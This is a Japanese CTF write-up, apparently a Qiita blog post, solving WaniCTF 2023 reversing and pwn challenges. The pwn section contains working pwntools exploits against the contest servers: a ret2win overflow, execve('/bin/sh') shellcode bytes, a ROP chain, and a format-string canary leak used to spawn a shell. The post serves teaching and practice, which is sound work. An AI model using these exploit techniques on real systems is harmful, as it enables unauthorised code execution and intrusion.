0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

WaniCTF 2023 revとpwn少し

Last updated at Posted at 2023-05-11

WaniCTF

image.png
開催ありがとうございました。とても楽しかったです。ソロで参戦して49位でした。上位の人々のすごさを改めて感じました。

rev

Just_Passw0rd

121pt 544solved
Beginner

バイナリファイルが配布されています。とりあえず含まれている文字列にフラグがないかを確認してみましょう。

strings just_password|grep FLAG

image.png

FLAG{1234_P@ssw0rd_admin_toor_qwerty}

javersing

132pt 348solved
Easy

image.png
jarファイルが配布されています。こういうのはまあデコンパイルしたら何かが分かると思います。
でコンパイラには以下を使いました。
http://www.javadecompilers.com/

javersing.java

// 
// Decompiled by Procyon v0.5.36
// 

public class javersing
{
    public static void main(final String[] array) {
        final String s = "Fcn_yDlvaGpj_Logi}eias{iaeAm_s";
        boolean b = true;
        final Scanner scanner = new Scanner(System.in);
        System.out.println("Input password: ");
        final String replace = String.format("%30s", scanner.nextLine()).replace(" ", "0");
        for (int i = 0; i < 30; ++i) {
            if (replace.charAt(i * 7 % 30) != s.charAt(i)) {
                b = false;
            }
        }
        if (b) {
            System.out.println("Correct!");
        }
        else {
            System.out.println("Incorrect...");
        }
    }
}

Fcn_yDlvaGpj_Logi}eias{iaeAm_sという文字列を見るとなんだか13文字ごとに取っていった文字列がフラグになりそうなので、とりあえずsolverを書きます。

solver.py
s="Fcn_yDlvaGpj_Logi}eias{iaeAm_s"

for i in range(30):
    print(s[(i*13)%30],end="")

image.png
でました。

FLAG{Decompiling_java_is_easy}

fermat

141pt 263solved
Easy

バイナリファイルが配布されます。解き方はいろいろあると思いますが、ここではgdbでデバッグしながら動かして解析します。

gdb fermet

進めていくと以下のような処理が見つかります。
image.png

print_flagを呼び出しているところに飛べば勝ちです。ripにアドレスを入れてprint_flagを実行しましょう。

set $rip=0x5555555554d5
next

image.png

FLAG{you_need_a_lot_of_time_and_effort_to_solve_reversing_208b47bd66c2cd8}

theseus

173pt 136solved
Normal

challが配布されています。本番中はごり押しで解析したのですがここではangrを使って解析します。
image.png

solver.py
import angr

p= angr.Project("chall", auto_load_libs=False)

state = p.factory.entry_state()
simgr = p.factory.simulation_manager(state)

def correct(state):
    if b"Correct!" in state.posix.dumps(1):
        return True
    return False

def failed(state):
    if b"incorrect" in state.posix.dumps(1):
        return True
    return False


simgr.explore(find=correct, avoid=failed)


print(simgr.found[0].posix.dumps(0))

angr仕組みはよくわかってないが便利

image.png

FLAG{vKCsq3jl4j_Y0uMade1t}

web_assembly

213pt 77solved
Hard

image.png
こんなサイトがある。
検証ツールからSourceを見るとindex.wasmがある
image.png

一番下のほうに定数の文字列が置いてあった。その中にはフラグの断片らしき文字列もある。
image.png

image.png

適当に組み合わせてフラグを作ろうと思ったが無理だったので、それらしい文字列をアプリに入力したらフラグが出た。
image.png

Lua

222pt 69solved
Easy

難読化されたLuaを渡される。読めたものじゃない。
image.png

ソースコードをいじることができるので、よく使われてそうな関数の引数と戻り値をprintで表示させるようにした。

image.png

実行するとフラグが見える。
image.png

FLAG{1ua_0r_py4h0n_wh4t_d0_y0u_3ay_w4en_43ked_wh1ch_0ne_1s_be44er}

pwn

ret2win

150pt 209solved
Easy

chall.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUF_SIZE 32
#define MAX_READ_LEN 48

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

void show_stack(char *buf) {
  printf("\n  #############################################\n");
  printf("  #                stack state                #\n");
  printf("  #############################################\n\n");

  printf("                 hex           string\n");
  for (int i = 0; i < MAX_READ_LEN; i += 8) {
    printf("       +--------------------+----------+\n");
    printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
    for (int j = 7; j > -1; j--) {
      char c = *(char *)(buf + i + j);
      if (c > 0x7e || c < 0x20)
        c = '.';
      printf("%c", c);
    }
    if (i == 40)
      printf(" | <- TARGET!!!\n");
    else
      printf(" |\n");
  }
  printf("       +--------------------+----------+\n");
}

void win() {
  asm("xor %rax, %rax\n"
      "xor %rsi, %rsi\n"
      "xor %rdx, %rdx\n"
      "mov $0x3b, %al\n"
      "mov $0x68732f6e69622f, %rdi\n"
      "push %rdi\n"
      "mov %rsp, %rdi\n"
      "syscall");
}

int ofs = 0, ret = 0;

int main() {
  init();

  char buf[BUF_SIZE] = {0};

  printf("Let's overwrite the target address with that of the win function!\n");

  while (ofs < MAX_READ_LEN) {
    show_stack(buf);

    printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
    ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
    if (ret < 0)
      return 1;
    ofs += ret;
  }
  return 0;
}

こんな感じのソースコードとバイナリが渡されます。以下のようにmain関数のローカル変数にバッファオーバーフローがあります。

#define BUF_SIZE 32 //実際に確保される配列の長さ
#define MAX_READ_LEN 48 //実際に読み込まれる文字数
~略~

int main() {
  init();

  char buf[BUF_SIZE] = {0};

~略~

image.png
スタックプロテクターは無効なので、これを利用しretアドレスにwin関数のアドレスを上書きします。

solver.py
from pwn import *

io=remote("ret2win-pwn.wanictf.org",9003)
elf=ELF("./chall")

io.recvuntil(b">")

io.send(b"a"*40) #確保された32バイト分+ベースアドレス8バイト分のパディング

io.send(p32(elf.symbols['win'])+b"\x00"*4) #リターンアドレスを上書きする。

io.interactive()

image.png

FLAG{f1r57_5739_45_4_9wn3r}

shellcode_basic

156pt 185solved
Normal

chall.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
  char code[1024];
  printf("Enter shellcode: ");
  fgets(code, sizeof(code), stdin);
  void (*shellcode)() = (void (*)())code;
  shellcode();
  return 0;
}

以上のように入力されたデータをx86_64の機械語として実行するファイルが渡されます。

とりあえずx86_64でシェルを実行するアセンブラコードを書きます。

.global main
.intel_syntax noprefix

main:
        xor rax,rax #
        xor rdx,rdx #rdxを0(NULL)にする
        xor rsi,rsi #rsiを0(NULL)にする

        mov r12, 0x68732f6e69622f #/bin/shをr12レジスタを介しスタックに入れる
        push r12
        mov rdi,rsp #syscallの引数としてrdiにスタックの先頭アドレス(/bin/sh)を入れる
        mov rax, 59 #raxに59を入れる。(execveを指定する)
        syscall #syscallを呼び出す。

gcc -c shellcode.s -o shellcode

でコンパイルしテキストセクションのデータを取り出します。

objdump -d -M intel shellcode

とかでテキストセクションのデータを頑張って取り出すかtexthexという便利なツール((ステマ))を使い取り出します。

texthex shellcode.o -s
\x48\x31\xed\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\x49\xbc\x2f\x62\x69\x6e\x2f\x73\x68\x00\x41\x54\x48\x89\xe7\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05

以下のようなsolverを書いてシェルコードを注入してやります。

solver.py
from pwn import *

pc = remote("shell-basic-pwn.wanictf.org",9004)
# pc = remote("",)
shell_code = b"\x48\x31\xed\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\x49\xbc\x2f\x62\x69\x6e\x2f\x73\x68\x00\x41\x54\x48\x89\xe7\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05"
pc.sendline(shell_code)
pc.interactive()

シェルをとれました!

image.png

FLAG{NXbit_Blocks_shellcode_next_step_is_ROP}

beginners ROP

178pt 124solved
Normal

main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUF_SIZE 32
#define MAX_READ_LEN 96

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

void show_stack(char *buf) {
  printf("\n  #############################################\n");
  printf("  #                stack state                #\n");
  printf("  #############################################\n\n");

  printf("                 hex           string\n");
  for (int i = 0; i < MAX_READ_LEN; i += 8) {
    printf("       +--------------------+----------+\n");
    printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
    for (int j = 7; j > -1; j--) {
      char c = *(char *)(buf + i + j);
      if (c > 0x7e || c < 0x20)
        c = '.';
      printf("%c", c);
    }
    if (i == 40)
      printf(" | <- TARGET!!!\n");
    else
      printf(" |\n");
  }
  printf("       +--------------------+----------+\n");
}

void pop_rax_ret() { asm("pop %rax; ret"); }

void xor_rsi_ret() { asm("xor %rsi, %rsi; ret"); }

void xor_rdx_ret() { asm("xor %rdx, %rdx; ret"); }

void mov_rsp_rdi_pop_ret() {
  asm("mov %rsp, %rdi\n"
      "add $0x8, %rsp\n"
      "ret");
}

void syscall_ret() { asm("syscall; ret"); }

int ofs = 0, ret = 0;

int main() {
  init();

  char buf[BUF_SIZE] = {0};

  printf("Let's practice ROP attack!\n");

  while (ofs < MAX_READ_LEN) {
    show_stack(buf);

    printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
    ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
    if (ret < 0)
      return 1;
    ofs += ret;
  }
  return 0;
}

以上のファイルに以下のようにバッファオーバーフローがあります。

#define BUF_SIZE 32 #確保されたバイト数
#define MAX_READ_LEN 96 #実際に入力されるバイト数

スタックプロテクタも無効なのでリターンアドレスを自由に変更できます。問題名の通りROPで任意コード実行します。
ROPとはretアドレスに、ある命令とret命令がセットになった、ROP Gadgetと呼ばれるコード片のアドレスをセットし、リターンを繰り返し任意のコードを実行する手法です。

ROP Gadgetを見つける方法はたくさんありますが、今回はradare2を使って探しました。
image.png

  0x00401371                 58  pop rax #探したい命令と
  0x00401372                 c3  ret #ret命令

以上のように必要なコード片を集めて以下のようなそる場を書きます。やっていることはshellcode_basicのシェルコードと同じです。

solver.py
from pwn import *

io=remote("beginners-rop-pwn.wanictf.org", 9005)


xor_rdx=p64(0x0040138d)
xor_rsi=p64(0x0040137e)

mov_rdi_rsp=p64(0x0040139c)

pop_rax=p64(0x00401371)
pop_rbp=p64(0x004013b3)

syscall=p64(0x004013af)

payload=b"p"*40

payload+=xor_rdx
payload+=xor_rsi

payload+=mov_rdi_rsp
payload+=b"/bin/sh\x00"

payload+=pop_rax
payload+=p64(59)

payload+=syscall

payload+=b"\00"*(96-len(payload))

print(payload)

io.sendline(payload)

io.interactive()

image.png

FLAG{h0p_p0p_r0p_po909090p93r!!!!}

Canaleak

187pt 109solved
Normal

chall.c
#include <stdio.h>
#include <stdlib.h>

void init() {
  // alarm(600);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

void win() { system("/bin/sh"); }

int main() {
  char nope[20];
  init();
  while (strcmp(nope, "YES")) {
    printf("You can't overwrite return address if canary is enabled.\nDo you "
           "agree with me? : ");
    scanf("%s", nope);
    printf(nope);
  }
}

これはnopeにはいくらでも入力できるので明らかなバッファオーバーフローがあるのでリターンアドレスをwinに書き替えれば勝ちです。
image.png
ですが、今回はスタックプロテクタが有効なので少し工夫する必要があります。
スタックプロテクタとはつまりベースポインタとリターンアドレスの前に適当な値(canary)を入れて置きその値が書き換わっていたら強制終了するものです。なのでこのcanaryを何とか取得してしまえば問題なく書き替えることができます。

ではどうやってcanaryをリークするのか、今回配布されたプログラムには以下のようにユーザーが編集できる文字列のアドレスを直接printfに渡しています。これは書式文字列攻撃につながります。

printf(nope);

例えば

char nope[100]="%p%p%p%p%p%p%p%p%p";
printf(nope);

このようにnopeに書式文字列を入れるとprintfを呼び出した時のレジスタの値(5個分)と、スタックの値(4個分)がアドレスとして表示されてしまいます。
これを利用するとcanaryをリークできます。

solver.py
from pwn import *

io=remote("canaleak-pwn.wanictf.org", 9006)
#io=process("chall")
#io=gdb.debug("./chall", '''
#    break main
#''')

io.recvuntil(b"Do you agree with me? :")

io.sendline(b"%p"*9)

res=(io.recvline())

print(res)

canary=res[-17:-1]

print(canary)

canary=p64(int(canary,16))
win=p64(0x401242)

io.sendline()
io.recvuntil(b"Do you agree with me? :")

payload=(b"a"*24+canary+b"b"*8+win)
print(payload)

io.sendline(payload)
io.sendline(b"YES")

io.interactive()

実行するとシェルが取れます。
image.png

FLAG{N0PE!}

以上

読んでいただきありがとうございました。かなり稚拙なwriteupですが誰かの役に立てば幸いです。
改めて楽しかったです。開催ありがとうございました!

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?